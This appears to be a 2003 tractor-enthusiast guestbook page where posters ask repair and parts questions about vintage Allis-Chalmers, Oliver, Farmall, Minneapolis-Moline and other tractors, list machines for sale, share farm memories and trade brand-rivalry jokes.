Bill Stocks wrote on Thursday, September 11, 2003 (PDT):We have a 66 model 4000 with sos that when put into 3rd forth and fifth will stall the engine.We received it from uncle who retired from farming and are not very familier with it.Anyome have any suggestions?
Susan wrote on Thursday, September 11, 2003 (PDT): Hi! I'm 19 and my fiance and I are looking to restore my Massey 55 Wheatland. It runs on propane and I'm told it's fairly rare, but I know nothing about it. Does anyone know and useful sites or ways to get information? Thanks!
Ben Davis wrote on Thursday, September 11, 2003 (PDT):Does anyone know in around about price how much it would be to overhaul an 880?
PatB wrote on Wednesday, September 10, 2003 (PDT):I recently came into possession of a '40 H. I have it running but no power to drive. Upon doing a compression ck I found # 3 and 4 cylinders low on comp. The overhaul kits I have researched are overbored are the sleeves thinner or do you have to bore out the block? I wouldn't mind the extra HP.
Johnny Mash wrote on Sunday, September 07, 2003 (PDT):I am looking for two front wheel weights.
Doug Dougherty wrote on Sunday, September 07, 2003 (PDT):Looking for a WD45 gas, wide front end. Any condition considered. Reply via email, located in southern Indiana.
Richard P Brighton wrote on Friday, September 05, 2003 (PDT): I owned a MM M670 Super which was LP and a G950 LP on the farm here in north Iowa. My Dad and I found that if you used a tank heater to warm the coolant through the vaporiser that they would start and stay running until engine warmed up. I work for a MM dealer and we always installed a Century vaporiser on all the LP tractors he sold installed Century 100 vaporisers was the size and the tractors ran more fuel efficently. With vista engine being a 504 it will take about 2hrs to warm it with a tank heater 1500 watts size.
phil and melanie lanzarotta wrote on Wednesday, September 03, 2003 (PDT):We are the 4th owners of this great engine her name is 'Ole Puff'. She was made in 1928 by Geiser Manufacturing sn# 18298 she is the last to come off the assembldy line and not assembled until 1939 for an Amish gentelman by the name of Samual Stoltzfus. the Grubb family were the 2nd owners in 1972 , 3rd owners were the Dotys1987. we got her from them in 1998. she has been at the Rough and tumble show, Mt. Plesant show, Williams Grove show, and now at the Great Oregon Steam-Up. she has been featured in the Iron Man Albume multipule times and will again in the Nov-Dec. issue. If any one knows of a Stoltzfus family member please let them know I would like to get in contact. I have written documentation on this engine from all owners except the Stoltzfus's. if I have miss dated miss quoted or forgot anyone please e mail us at philranch at aol.com (please put steam or ole puff in the tital area)
Judith Newman wrote on Wednesday, September 03, 2003 (PDT):Have my Dad's 1948/49? Leader Tractor. I am looking for info to restore the tractor. Paint Codes, parts, etc. Are there any Leader Clubs in Ohio?
Darrin Louden wrote on Monday, September 01, 2003 (PDT):My Uncle bought an E-3 several years ago,he had been looking for one for a long time.When I told him about the tractor I had found he kept saying I had come across a Cockshutt.He was wrong it was a CO-OP.
David M. Justison wrote on Monday, September 01, 2003 (PDT):hey guys, I have a G1000 vista diesel and lp.The diesel runs fine, but the lp is hard to start. It acts like it isnt getting enough fuel. When its cold, it runs, then dies, but when you hold the starter in gear, it runs fine.Then when you shut it off when its warm, it starts and runs like a sewing machine. I think it may be a filter, but any help out there will help alot. thanks.
Ken Crisman wrote on Saturday, August 30, 2003 (PDT):I'm looking for any & all help with a 1952 8n tractor with the Funk coversion 6cyl OHV Ford Industrial engine . I'm missing a few engine parts , but need pics of this setup so I can see what all is missing . Info on locating the pancake style air cleaner & venting tubes . Also gasket spacers between carb & manifold . I'm sure there's other parts I'll need , hopefully pics will help me if you got any . Also leads as to available parts .Can anyone assist me ? Thanks .
reilly wrote on Saturday, August 30, 2003 (PDT):Sir,Madam , Over the past 20 years I purchased several 8hp flail mowers from the Mott Corporation at 500 Shawmut Ave La Grange Illinois, thay are excellent. I have since found out they sold out to the Alamo Group Corporation of Texas who have now discontinued making them. I would sincerely appreciate and even give a finders fee reward for you or your staff to locate on or two of them, and take them to the nearest freight fowarder. The way I see it the Mott corporation in La grange must of manufactured thousands of them, every resident in Shawmutt should have one in each garage.... Sincerely Craig Reilly P.S I see your company sell the blades chain, links , cotter keys etc, but no case or main shaft I really would appreciate you location one of these new or used. I'm in Guam and really need this type of mower. I would gladly purchase all the parts from you and even build build my own.
Van Watkins wrote on Friday, August 29, 2003 (PDT):Just purchased a oliver and need to find out what modil it looks like the super44.Will this modil have hookups for belly implements such as a blade.
Terence Murphy wrote on Friday, August 29, 2003 (PDT):Where is the kill switch located on the to-20?
Les Hunter Jr wrote on Thursday, August 28, 2003 (PDT):I bought a farmall Cub with the serial number of 251341R7L.Can anyone tell me what year it was made? I know it is after 1959.This number came off the block behide the carb.
dale wrote on Thursday, August 28, 2003 (PDT): i have a 1466 i think that the 66 modles are all great . i grew up with red power we had a m a 400 a 706 a 1566 a cub and a w6.
harvey wrote on Thursday, August 28, 2003 (PDT):I am looking for a Oliver 66 Orchard for resto. Harv
Mike Silbernick wrote on Thursday, August 28, 2003 (PDT):I have owned a WD-45 wide front for 15 years. I would like to know if there is a conversion for the snap lock attachment so I can hook up a 3-point attachment. I also am wondering if there is a certain loader that fits directly to this tractor. It would be nice to be 4-way.
TOM TAYLOR wrote on Monday, August 25, 2003 (PDT):I NEED REPAIR INFORMATION FOR TD-16 AND TD-18 TRACTRACTORS.DOES ANYONE HAVE ANYTHING THEY WOULD SHARE. THANKS, TOM TAYLOR
John Buettner wrote on Monday, August 25, 2003 (PDT):My Great Grandfather, John Minor Kroyer built the Samson Tractor Co, as well as Samson Iron Works and Samson Motors. He started the Company in the city of Stockton CA back in roughly 1898-1918 at which time he sold the co to GM, after the sale of the co he started another company called Kroyer Motor Works, its great to see that people are still interested in my great grandfathers tractors and many pieces of other farm equipment, if anyone has any questions please feel free to e-mail, thanks, John Buettner
dale clancy wrote on Sunday, August 24, 2003 (PDT):im trying ti find a 2 piece grille for a oliver 60. any help would be appreciated thanks
Harry L. Dill wrote on Thursday, August 21, 2003 (PDT):I had a SD3 w/wide front that need some engine work and sold it.now i would like to buy a SD3 any available ?
Eric wrote on Monday, August 18, 2003 (PDT):I have an ac D12 1960 for sale, in good shape. It's a very good tractor with the 2 rows plow and the 7 feets mower also in good shape. I don't know the right name of that kind of hitch, but it's not a 3 points. Is anyone can tell me about the price of such a kit?
Eric wrote on Monday, August 18, 2003 (PDT):J'ai un AC D12 1960 vendre, en trs bonne condition. Avec la charrue 2 versoirs et le moulin faucher originaux et toujours oprationnel. Quelqu'un connait la valeur pour l'ensemble?
Davis Conway wrote on Wednesday, July 16, 2003 (PDT):I have a 1954 TO-30, motor week runs good no knocks, body rough. Anyone interested in buying it?
Bill Uhlenbrauck wrote on Wednesday, July 16, 2003 (PDT):My Uncle Al had one of these in the sixties when I spent my summers on the family farm north of Appleton, Wisconsin. I believe it was a 48 or 49 model, narrow front. One summer I particularly remember, we gassed up during haying and took a quick lunch break. During lunch the old G burst into flames. By the time the volunteer fire department got there it was pretty well going/gone. Got shipped to Schwandt's in Shiocton for overhaul and paint, came back like a new one. My uncle kept it until mid 7o's when he traded up for a JD 70D - better fuel economy. That baby had lots of power, I remember plowing in blue clay and gumbo in third gear all day, lots of power but gulped the gas!
red power!!!! wrote on Tuesday, July 15, 2003 (PDT):mean green red tractors will aways burie your little green toys you play with.
Jerry VerSteegh wrote on Tuesday, July 15, 2003 (PDT):My father bought his first tractor, a WC, in 1936. My mother said I took my first step the day dad brought home the new tractor. My dad farmed all his life with what was intended as a temporary barn. When he bought the WC his father said, "You won't be needing so many horses now, so you don't need a fancy barn either." I started driving the WC before I was strong enough to start it with the hand crank. I was a tall, skinny kid and could just barely reach the clutch. I remember the hand brake handles had been welded several times, because occasionally when dad turned around at the end of the field he would jerk back on the hand brake with enough force that the handle would break off. I know it originally came with steel wheels, but he soon put on rubber tires. We used to pull an old steel wheel behind the tractor to smooth out the gravel in the driveway. When dad bought a brand new WD, I thought it was the finest piece of machinery ever invented. I loved to drive it, but cultivating corn was a nightmarish experience. I could never say awake on those hot june days. When I went away to college, dad bought a manure scoop for the front of the WD.
J.T. Eastburn wrote on Monday, July 14, 2003 (PDT):I have a early D17 diesel for sale. Serial #D17 57950. It has a block warmer, new rubber, wide front end , rear wheel weights, good condition. $3300 firm. N.E. Missouri.
rcw wrote on Sunday, July 13, 2003 (PDT):The Super "M" wrote on Tuesday, October 16, 2001 (PDT); God Bless The Farmall Tractor. And have mercy on those green blooded morons. A David Bradly is more dependable than a Deere... I'll be back..."Buddy, ya-all sick in the head....get you education in a calf pen eating manure>>>>
TJ Palmer wrote on Sunday, July 13, 2003 (PDT):We really need some hood latches for a D-12 Allis Chalmber 606 845-0022
TJ Palmer wrote on Sunday, July 13, 2003 (PDT):We really need some hood latches for a D-12 Allis Chalmber 606 845-0022
TJ Palmer wrote on Sunday, July 13, 2003 (PDT):My dad and I are restoring my Papaws D12 Allis Chalmer tractor and we are coming along with it pretty good having some trouble finding some parts for it so if anyone out there has any parts for sale give us a call at 606 845-0022 or no answer leave a message and i will get back with u.
TJ Palmer wrote on Sunday, July 13, 2003 (PDT):My dad and I are restoring my Papaws D12 Allis Chalmer tractor and we are coming along with it pretty good having some trouble finding some parts for it so if anyone out there have any parts for one that u want to see gives us a call at 606 845-0022 or no answer leave a message and i will get back with u or any other Allis Chalmber tractors for sale call to.
Dallas wrote on Saturday, July 12, 2003 (PDT):The 98 is powered by a 3-71 detroit diesel. With every 98 you bought it should come with some ear plugs.
Roy Wolf wrote on Wednesday, July 09, 2003 (PDT):Does anyone out there have a picture(s) of the Rock Island F and FA? They had a bore and strokc of 4 1/2 by 6 inches whereas the G-2 had a 4 1/4 by 5 1/4; good replacements for the old Steam Power Tractors....My father (Pa Wolf)owned one of the last G-2's made before Case bought the RI. Great tractors for their day; J.I.Case was a worthy successor for them.....the old L and LA Cases remined me of the R.I.'s....
Casey Flanders wrote on Saturday, July 05, 2003 (PDT):I am a big D21 fan. My father had one that I rode as a kid. I would love to own one someday. If anyone knows of anyone who owns a D21 in good shape and is interested in selling it, please e-mail me. I would be very interested
mean green wrote on Saturday, July 05, 2003 (PDT):The sweetest sound I ever heard was just last week,My neighbors 806 finally stopped rusting!! AHHHHH the peace and quiet around here is just great!! I'm sorry that here in the south our prime source of entertainment is kicking back and watching the red junk rust away,Maybe one day we will decide to cash in on the red tractors misfortune and sell them for scrap metal. I hear that they can make about a million disposable razors out of a 1066
Dick wrote on Saturday, July 05, 2003 (PDT):Trying to locate historical and restoration information regading an Allis Chalmers 3 wheel golf cart with an 8 horse Kohler gas engine.
Roy Wolf wrote on Thursday, July 03, 2003 (PDT):This was a wonderfully powerful tractor for its day. I drove one for my youngest brother disking ahead of planter. He had two XT-190's that I had driven; I was most proud when he had me working with this tractor. Today there is a new generation of tractors and farmers! We just keep getting bigger and biger....makes me think of the dinosaurs or pehaps the huge steam power engines of l00 years ago..........
larry wrote on Thursday, July 03, 2003 (PDT):would like to buy a d12, anyone selling?
BRIAN FLASKRUD wrote on Thursday, July 03, 2003 (PDT):WE FARMED WITH CO-OP AND COCKSHUTT TRACTORS DURING FROM THE 60'S TIL PRESENT BY FAR THE BEST TRACTOR EVER MADE! WE HAVE #30 2-#40 E-5 AND A 570 DEISEL
Jacob Williams wrote on Monday, June 30, 2003 (PDT):you should use that for tractor pulls
Tonja Normand wrote on Monday, June 30, 2003 (PDT):We're looking for a fuel injector pump for our Ford 2000 Super Dexta. Does anyone know where we can find one? Local parts suppliers can't seem to help us out.
Vernon Adkins wrote on Sunday, June 29, 2003 (PDT):My first diesel tractor was a 1973 1066. Best tractor IH ever made. I have just recently built an opproximate 1/4 scale version. It's really turning heads at the area steam shows. If things go as planned it will be at the 2004 red power roundup in Mt Pleasant, IA I currenly own 11 IH tractors, all of which are used on my farm here in Missouri
Vernon Adkins wrote on Sunday, June 29, 2003 (PDT):My first diesel tractor was a 1973 1066. Best tractor IH ever made. I have just recently built an opproximate 1/4 scale version. It's really turning heads at the area steam shows. If things go as planned it will be at the 2004 red power roundup in Mt Pleasant, IA I currenly own 11 IH tractors, all of which are used on my farm here in Missouri
Larry wrote on Saturday, June 28, 2003 (PDT):I need a steering sector for a 1959-60 d-12. Any ideas on who to go to for parts like that?
Jack Jory wrote on Thursday, June 26, 2003 (PDT):I drove my Unkle's 1939 AO during several Summers in Siverton, Oregon in the late 1940s. He had a hop yard and walnut orchard. He had the tractor rebuilt at the dealer in Monitor, Oregon sometime in the late 1940's. It was a real work horse. We use to start in on gasoline after opening the petcocks on each cylinger. Once started, we would then switch over to stove oil or kerosine. It didn't look exactly like the tractor in the picture, the fenders looked different. I can remember having to stand on the wheel foot breaks when trying to turn sharply to the left or right. It could be hard to start on cold morinings. It was a flywheel start tractor. I can remember to this day the amount of muscle it took to get the fly wheel going fast enough to make it start. It was a real thrill for a young high school kid to drive it while plowing, disking or harrowing.
bryan bayliss wrote on Wednesday, June 25, 2003 (PDT):there are many things you remember in life, the sound of a 1066 turbo as she sits there and whistles to you and the smell of the 856 as she sits in the shed waiting to go to work and the thick rich black smoke from an 806 deisel as u punch the trotlle when you go up a big hill with your wagons full of grain. a man has thre loves in his life a love for his children a love for his wife and a love for his tractors, amen.
Ed wrote on Wednesday, June 25, 2003 (PDT):Cool
Randy wrote on Monday, June 23, 2003 (PDT):The 1256 has alot more power than a 1066 and it looks better
Dale MacDonald wrote on Sunday, June 22, 2003 (PDT):On our farm we had a Allis Chalmer D14.It was a regular little workhorse.
Darby Cochrane wrote on Sunday, June 22, 2003 (PDT):I have a standard 70 that was built for the war and has straight fenders, grader tires and a hitch on the front for towing planes I believe. I would love to get some pictures so I could start restoring it. Runs like a top. Any information and pictures would be a great help
david mainellis wrote on Sunday, June 22, 2003 (PDT):My parents bought a farm about 15 years ago and it came with a dexta tractor. Ido not know what year it is but think 64.I am glad to find this site as I am the one who fixes this tractor when it has a problem. We find this injected diesel to be a great machine that keeps going, and going, and going....... How do I find out what year it is , and does anyone have an idea why the lift boobs up and down?
Rick Clark wrote on Sunday, June 22, 2003 (PDT):I have had my I have had my AC 160 for about 10 years. Parts are hard to find and I need the 90 degree tachometer adapter that fits on the back of the block which the tach cable attaches to. If anyone has on available please contact me. With regards to transmission, Greens Tractor Salvage here in North Carolina has one. I am currently at a remote site and will provide address and phone number upon my return to my home system.
jim decrane wrote on Saturday, June 21, 2003 (PDT):im a john deere guy but "nothing runs like a deer and stinks like a john" Intertrashal have good motors but the rear ends are junk. i dont care if you dont like green along has you farm your a good person.
Frank LaRoche wrote on Saturday, June 21, 2003 (PDT):www.waltstractors.com/acatalog/this is a good place to find just about any part for any tractor.They will do you right
Dale MacDonald wrote on Saturday, June 21, 2003 (PDT):I would like to find a Tractor like this 880. It is a really nice tractor but it is a bad picture
Mark - Limerick, ME wrote on Friday, June 20, 2003 (PDT):I have a '39 H that is in need of a electrical overhaul. It doesn't look very complicated, butI don't know where to find parts etc. It's a 6 volt system. The engine is solid as ever and just needs a spark, but I can't get one anymore. The wiring has rotted and occasionally gives me juice and starts right up, but not reliably. Any info would be great. Thanks!
Gary Sayre wrote on Friday, June 20, 2003 (PDT):Looking for an SD-4 with TA any condition.
Todd Graff wrote on Friday, June 20, 2003 (PDT):I have a 9N that was purchased by my grandfather new. I smokes and cuts out after running a few minutes especially if under a load. The compression ranges from 45-75 psi, what should it be? My guess is the rings are worn and needs to be rebuilt. I just did a tune up and the results were the same. The serial # on the block begins with 9N but the cast for the rear axle has a 2N, what do I have? Great site! I would like to see the responses to the long list of questions that have been submitted.
Adam Wampler in Virginia wrote on Monday, June 16, 2003 (PDT):I just bought a Sheppard SD-3 toy tractor made in 1949 yesterday. These tractors were made by the actual Sheppard Company for promotional reasons. They only made 200 of these tractors so I have a very special toy. I have many full size tractors and pieces of farm machinery as well including a 1953 John Deere R, 1966 John Deere 4020, two Allis Chalmers All Crop 90 combines, and too many other things to mention here.
KEVIN BULLOCK wrote on Monday, June 16, 2003 (PDT):I WAS WONDERING IF ANYONE OUT THERE COULD PROVIDE ME WITH SOME INFORMATION ON ROSEBERY 4HP TOP HOPPER ENGINE SUCH AS WHERE I MIGHT BE ABLE TO GET A WORKSHOP MANUAL (IF THEY EXIST) OR SOME USEFUL WEB SITES....THANKS
Bobby Whittenburg wrote on Sunday, June 15, 2003 (PDT): I was wondering what the average cost of A D15 series11 would be if I could find one?
Dave Pembroke wrote on Sunday, June 15, 2003 (PDT):Questions about the MM ntx--What engine--How many speeds--2 or 4 wheel drive--brakes--and where can I buy one ??
Laura Molder wrote on Sunday, June 15, 2003 (PDT):Judy, I am pretty sure that the OLIVER on the rear fenders is NOT painted at all. I think that it was just painted the same as the fender. . . Oliver green. If you have anymore ques just e-mail me.
odis fuller wrote on Saturday, June 14, 2003 (PDT):I nave purchased a model 80 and looking for the serial number. Can anyone tell me where the number is located. thank you
Mike wrote on Friday, June 13, 2003 (PDT):I have a D-17 high clearance for sale. Sheet metal is straight.Gas engine.Runs but needs restoration.Asking $2000.Located in central Missouri
John Reid wrote on Friday, June 13, 2003 (PDT):Have just purchased a HG42 seriel # 11GA544, it has the wide axles, does anyone know where I can find the narrow axle housings. Will the housings from a Oliver OC3 work? Barrie - Ontario
Colin MacDonald wrote on Wednesday, June 11, 2003 (PDT):My son & I have just finished restoring a 1945 W4 which hadn't been started since 1963. With the magneto overhaualled a new back tyre 7 a coat of IH paint & she's like new. My father-in-law bought it new in 1946 & I drove it in the 50s. W4s & W6s were very popular in New Zealand particularly on grain growing farms. The collecting of 'old Iron' is very popular here.
kevin wrote on Wednesday, June 11, 2003 (PDT):hi, can anyone tell me where to find pictures of a 1964 770 gas row crop? i have the decals and want to make sure where they are to be put on. thanx kevin
Michael Emerson wrote on Tuesday, June 10, 2003 (PDT):My dad gave me his Oliver. I am looking for a manual. I found a certificate number and a serial number. Thats it. It look like a Super 55. It is a 4 cylinder and runs on gas. Can anyone tell me where to look for some identification. Thanks.
Ray wrote on Monday, June 09, 2003 (PDT):My grandfather purchsed a Oliver Industrial '60' in 1948, serial #460605. He paid $1471.80 according to the bill of sale. The tractor is green but as the paint wears off the orange color is underneath. The starter was lost and will only start with crank. This must be sold as there is no one left on the farm. What should I be asking? Tractor is in Saskatchewan. I have original bill of sale, and the original operators manual and parts book.
Fred Waldbusser wrote on Sunday, June 08, 2003 (PDT):I acquired a toy tractor; Universal Co-op 4th in A series. It is a limited edition with serial #1746. I did not know there was a Co-op tractor until I saw this at an antique store. It has a single wheel in the front with a square radiator and it has the big fenders, drawbar hitch, movable flywheel with rubber tires. The motor is very detailed. I thought it was neat and bought it. Can anyone give me more information about the tractor of which this toy is a model?
Mike Mulligan wrote on Sunday, June 08, 2003 (PDT):DISTINGUISHING FEATURES BETWEEN WD AND WD45. These tractors are very much alike, almost identical, but there are a few ways to tell the difference. If your tractor is original this shouldnt be a problem. The easiest way to tell for sure is to look for the serial number which is located on the back of the tractor above the step on the back of the differential housing. Before the number it will say either WD or WD45. Thats easy enough. There are other differnces. Starting from the front of the tractor and working your way back; Many of the WDs had a small hole in the right side of grill that surrounds the radiator. This hole was for a shutter that controled the flow of coolant to make the engine run hotter or cooler. 45s usually didn't have this. The hole is located almost at the top on the right side of the radiator(not on the wire mesh grill in front but just around the corner on the side. A much larger differnce is the engine. WDs had a 201 cubic in engine that was usually equiped with magneto ignition. The WD45 had a 225 cubic inch engine which usually had a distributer ignition. The hydrolics were similar but the WD45 had traction booster and there was a gauge below the gas tank that said traction booster on it an when you lifted something you can see the needle on the gauge move. Another big differnce is the transmission however there is an exception. WDs prior to 1953 had a sliding gear transmission with a straight shift lever. In 1953, the last year for the WD and also the first year for the WD45 the transmission was changed to a constant mesh transmission which had a curved shift lever. The WD45 had snap coupler as standard equipment and the WDs did not. However snap coupler kits were made available for the WD so it is not uncommon to see a WD with snapcouple. I hope this information is helpful. It is correct to the best of my knowledge but remember there can be exceptions, especially if the tractor is not original. These tractors are so much alike and many parts can be interchanged. You may find out that half of you tractor is a WD and the other half is WD45. I have a WD45 with a D17 engine and a WD transmission and rear end. GOOD LUCK!
Morris Wilkins wrote on Saturday, June 07, 2003 (PDT):Need Steering clutches for HD14 dozer
Ron wrote on Saturday, June 07, 2003 (PDT):I have a W6 1941 model that is all in parts i need help with pics and info on how to put it back together. thank you
GP wrote on Thursday, June 05, 2003 (PDT):ATTN; Jim Lockhart Do all serial numbers match, block (left side), frame rail (left side, top of rail near the clutch housing) and the serial number plate on the tool box? If the numbers don't all match it's possible multiple tractors were put together to make one. The serial number you indicate is a 1935. Perhaps the wheels rusted out and a set from a late model 20 were put on this tractor. Also, a 1935 F-20 would have been painted Farmall Gray originally, they weren't painted red until those produced after Nov 1, 1936. What color is it painted now? If it's red, look for signs of gray underneath. Most F-20's that were repainted in the 40's were repainted red (to match the letter series tractors and later F series).
Scott Twist wrote on Thursday, June 05, 2003 (PDT):We have an old Oliver Super 55 That we have been using for the past 5 years. We have been using this tractor to move hay bales and run a brush hog to keep the place up around here. The only work we have done to it is the 12 volt conversion and adjusted the clutch. We have just bought a bigger tractor and we are looking to sell the oliver if anyone is interested.
SuperDave wrote on Monday, June 02, 2003 (PDT):I just purchased an old IH that I think is a 300-U but am not sure. The plate on the clutch housing has been basically sanded away except for the serial number. #9782. There is a stamp on the side of the block 175 and another that is *1*26*C I think. It is hard to read for all of the old paint. There is another number on the trans housing 360553 R3. any info would be great
majid niknam wrote on Monday, June 02, 2003 (PDT):please send me information & picture backhoe loader - model mf50b. tanks at you m.niknam
Dave Schmitt wrote on Saturday, May 31, 2003 (PDT):I am restoring a 98 and could use some photos to help thanks.
Richie wrote on Friday, May 30, 2003 (PDT):I have Ford 1952 8N Tractor and I would like to buy some accessories for it. Woods mower, auger etc. Everything seems to work accept when I push the clutch in it releases and lowers anything I have hanging behind it. I don't have a manual for it, there is a small lever that doesnt seem to work. Is that what locks the height? Would you have a manual for this tractor? If I can figure it out I would love to buy more things for it Thank You R.Ganns
Tim Fielder wrote on Thursday, May 29, 2003 (PDT):I have a super 44. I'm interested in restoring it. Runs good.
CECIL LONG wrote on Thursday, May 29, 2003 (PDT):I HAVE ROCK ISLAND TRACTOR SEAT THAT LOOKS BRAN NEW WOULD LIKE TO KNOW VALUE
Jim Smith wrote on Thursday, May 29, 2003 (PDT):I have found a Leader tractor for sale. The front wheels and tires are not right,but it has one new rear tire. The tractor needs a good cleaning and paint,but it runs. Does anyone have an idea of a fair price on a tractor like this? Please give me something to go on for a price. Thanks.
Cathy wrote on Thursday, May 29, 2003 (PDT):I bought a 1952 Pony last summer, and it is mostly restored, a sweet running machine. I find it was impulsive to buy it, because I don't really need it. Have decided to sell it. Located in central Maine. It has a cord wood saw, log splitter, chains, front wheel weights and plow. Hydraulics work great. Asking $2100.
Steve B. wrote on Monday, May 26, 2003 (PDT):I used to run a G-1000 Diesel. Awesome power and torque, and the sound out of the exhaust was unforgettable. We farmed around Central Pennsylvania, and I occasionally drove through the capital of Pa. on my M.M. with dual wheels on it on the way to other farms. It was quite a shock for the "city folk" to see a G-1000 roaring down the city streets.
gary cunningham wrote on Friday, May 23, 2003 (PDT):still have the MM M5 on LP for sale, runs great, need a farm or collector as current owner is quitting the business best offer or first $1500 and it yours all origional, in excellent condition except the seat. call me at 580 255-9715 tractor is located near marlow, OKlahoma
JWR wrote on Friday, May 23, 2003 (PDT):IHC BUILT THE BEST TRACTORS BAR NONE. MY FATHER ONLY USED IHC ON HIS FARMS AND ALWAYS TOLD ME THAT IF IT WAS NOT RED OR COULD NOT GET IHC HE WOULD SELL THE FARMS. AND HE DID WOULD NOT BUY ANYTHING ELSE. THANKS
Ward Hollingsworth wrote on Wednesday, May 21, 2003 (PDT):I have just finished partially restoring a 1951 44 standard. The paint color I used if anyone is interested was Rustoleum Fire Hydrant Red, and Pittsburg Chrome Yellow, Both paint colors are so close to the original color it's amazing. Also I pull it in my local classic tractor club. It has won me several ribbons,Man what a kick in the tail!!!
Ryan wrote on Wednesday, May 21, 2003 (PDT):I was wondering what a 1959 D-12 in good shape is worth. Thinking about selling it.
Jim Wilson wrote on Tuesday, May 20, 2003 (PDT):Need information on clutch or where to buy. It is a 48 year model
Terry Stover wrote on Tuesday, May 20, 2003 (PDT):17 Years ago I purchased an old tractor cheap, as the add said. But only recently did I realize it is a Cockshutt 540. I have used it on my small horse farm the past 17 years, and am now interested in restoring it. Is there a place that I can see photos of a 540 of how it should look and the paint colors?
ken stone wrote on Tuesday, May 20, 2003 (PDT):I recently purchased a JD 2010 and it has not been maintained. The 3 point hitch cylinders somehow got water in them and went through the rock shaft housing, can anyone tell me how to prevent this.
806 power wrote on Monday, May 19, 2003 (PDT):my dad has a 806 with 22000 + hours. he bets the pis out of it. you can't get it stuck. it motor has never been gon threw. it has a strat pipe. it will throw a flaim. but he shore takes good cair of it. i am going to repant it as a ffa project. and then go pulling. and pulling is my faveat pass time.
toy farming with ih red wrote on Sunday, May 18, 2003 (PDT):i have a toy farm. all my tractors are red. i have a 560, 660, 2 706's,3 806's, 3 1206's, 2 856's, 1 826, 1 1026, 2 1456's, 2 966's, 8 1066's, 10 1466's, 1 1566, 1 1086, 4 5288's, 2 2+2's, 2 stigers, 7130, 4 7140's, mx200 to 235, ertl mis print on 235, and all 14 jd do all the stuped stuff like agur, blow sileg etc. i have a cattle confinment and hog confinment. hog has logon and jd punps munuer. cattle is cement and jd feeds the cattle. i am 14 and ever one thinks i am nuts. but i don't like football or any other sports. but i like tractor pulling, working on displays, and nascar. but i love to pull tractors. i have 2 minirods 1 stock and it name is tundra toy and the other it a miniature 1066 with 750 honda and it name is overtime. so my motto is if it ani't red don't hook it to the sled and nothing kills a deere like a magnum. i live in nw ia and love ih red. my dad farms and has stock cows. we farm with ih red. we have an 806 with 18000 + hours. its motor has never has been toucht, but the rerend has been gon through. we trated are 1486 of in 1991 for a 4640 it had a cract block and was puting out 200 horses. then it blow up. 1 BIG mistake. now we have a nother 1486 but i is a newer one and a red power, and still have the 4640. my faverets are the 806,856,1066,1456,1466,1068,1486,5288,7140 and last but not lest the frist tractor that started it all for my grandpa the F-20. i also am the puller man, buty red and junk jds, ih power,overtime,806 man, and on 560 page and am 806 man. so go ih red and i my colors are ih red.
toy farming with ih red wrote on Sunday, May 18, 2003 (PDT):i have a toy farm. all my tractors are red. i have a 560, 660, 2 706's,3 806's, 3 1206's, 2 856's, 1 826, 1 1026, 2 1456's, 2 966's, 8 1066's, 10 1466's, 1 1566, 1 1086, 4 5288's, 2 2+2's, 2 stigers, 7130, 4 7140's, mx200 to 235, ertl mis print on 235, and all 14 jd do all the stuped stuff like agur, blow sileg etc. i have a cattle confinment and hog confinment. hog has logon and jd punps munuer. cattle is cement and jd feeds the cattle. i am 14 and ever one thinks i am nuts. but i don't like football or any other sports. but i like tractor pulling, working on displays, and nascar. but i love to pull tractors. i have 2 minirods 1 stock and it name is tundra toy and the other it a miniature 1066 with 750 honda and it name is overtime. so my motto is if it ani't red don't hook it to the sled and nothing kills a deere like a magnum. i live in nw ia and love ih red. my dad farms and has stock cows. we farm with ih red. we have an 806 with 18000 + hours. its motor has never has been toucht, but the rerend has been gon through. we trated are 1486 of in 1991 for a 4640 it had a cract block and was puting out 200 horses. then it blow up. 1 BIG mistake. now we have a nother 1486 but i is a newer one and a red power, and still have the 4640. my faverets are the 806,856,1066,1456,1466,1068,1486,5288,7140 and last but not lest the frist tractor that started it all for my grandpa the F-20. i also am the puller man, buty red and junk jds, ih power,overtime,806 man, and on 560 page and am 806 man. so go ih red and i my colors are ih red.
Jesse Smith wrote on Saturday, May 17, 2003 (PDT):I'm 14 and I got a 1954 Case SC last December and it's my first tractor. It aint in very good shape so I need a couple of parts to restore it; good engine or block, air cleaner, exhaust manifold. I have to pay to restore it with my own money I worked for so I'd appreciate it if you could keep the price reasonable. I know when it gets done, it'll be a nice one. Any help would be appreciated. Thanks
dan ross wrote on Thursday, May 15, 2003 (PDT):i have eather a hg42 or oc3 dont know one has sn 15ga230 on the frame that is broke had no water pump but put one on it also have another machine no sn on it also have 4 motors two ixk-3 3 1/8 x 4 sn 2409862 1265264 also ixa-3 3x4 sn 675737 and one with no plate only one runs but blows oil out muffler pipe and fouls plugs one moter compleat but block broken had bad rod or crank not sure also have 125 allis chalmers power unit but cylinder rusted and will not turn over vavels rusted to live in ithaca ny
Paul wrote on Wednesday, May 14, 2003 (PDT):I have just bought my 2nd Allis Chalmers G I cleaned it up a bit and checked for the serial no. in the location I know it should be by the shift lever in the area so specified, guess what no number at all and no grinding or shaving of the metal in that area. Now what next?
Bill Riggs wrote on Wednesday, May 14, 2003 (PDT):I have a 1967 Allis Series ll That i am restoring. This is a mint tractor.Recently installed new clutch and flywheel,plus torque tube. Removed original rear wheels and installed plain disc with air. Just like new. Love it.
Judy wrote on Tuesday, May 13, 2003 (PDT):Question; Is the name OLIVER on the rear fenders painted white or red?? For a 550 Oliver, 1955.
Herb Poettcker wrote on Monday, May 12, 2003 (PDT):Hello everyone. My dad has a Cochshutt 40 that has been in the family for decades. This tractor has baled more hay bales than I can imagine. Would like to restore but am missing left grill half. Anyone with info would been greatly appreciated. Thank-you.
Dennis wrote on Monday, May 12, 2003 (PDT):Looking for rear end (rear of transmission back) for a 1948 Farmall Cub, I'm located in central Michigan. E-mail - Bigdenisno1 at aol.com
Roger Shingleton wrote on Sunday, May 11, 2003 (PDT):Bought a Ferguson Tractor. The number on the left side of the block is; Z120A-600. Was told this was a TO-20, 1950 year modle. I ordered that book for it but the book says that this 1950 TO-20 is suspose to have a 6 volt system with a generator. Mine has a alternator and is 12 volts. Did Ferguson built a 12 volt system?(Ferguson, not Massey ferguson) Could this tractor have been changed over to a 12 volt system are is my tractor not a 1950, TO-20. Any help would be appreciated.
Steven Oeder wrote on Saturday, May 10, 2003 (PDT):Hi Everyone, My brother has what he believes is a CO-OP 4 or 40. It has a 6 cyl. gas engine and wide front. The engine plate says Cockshutt and Buda. There are several other sets of numbers, etc. 6B230 is one I remember. It has reddish paint, and has CO-OP decals and front grill. He is wondering if anyone restores or collects this model? What value does it have? He is going to sell it. Is anyone interested?? Thank You. Steve Oeder No.Dak.
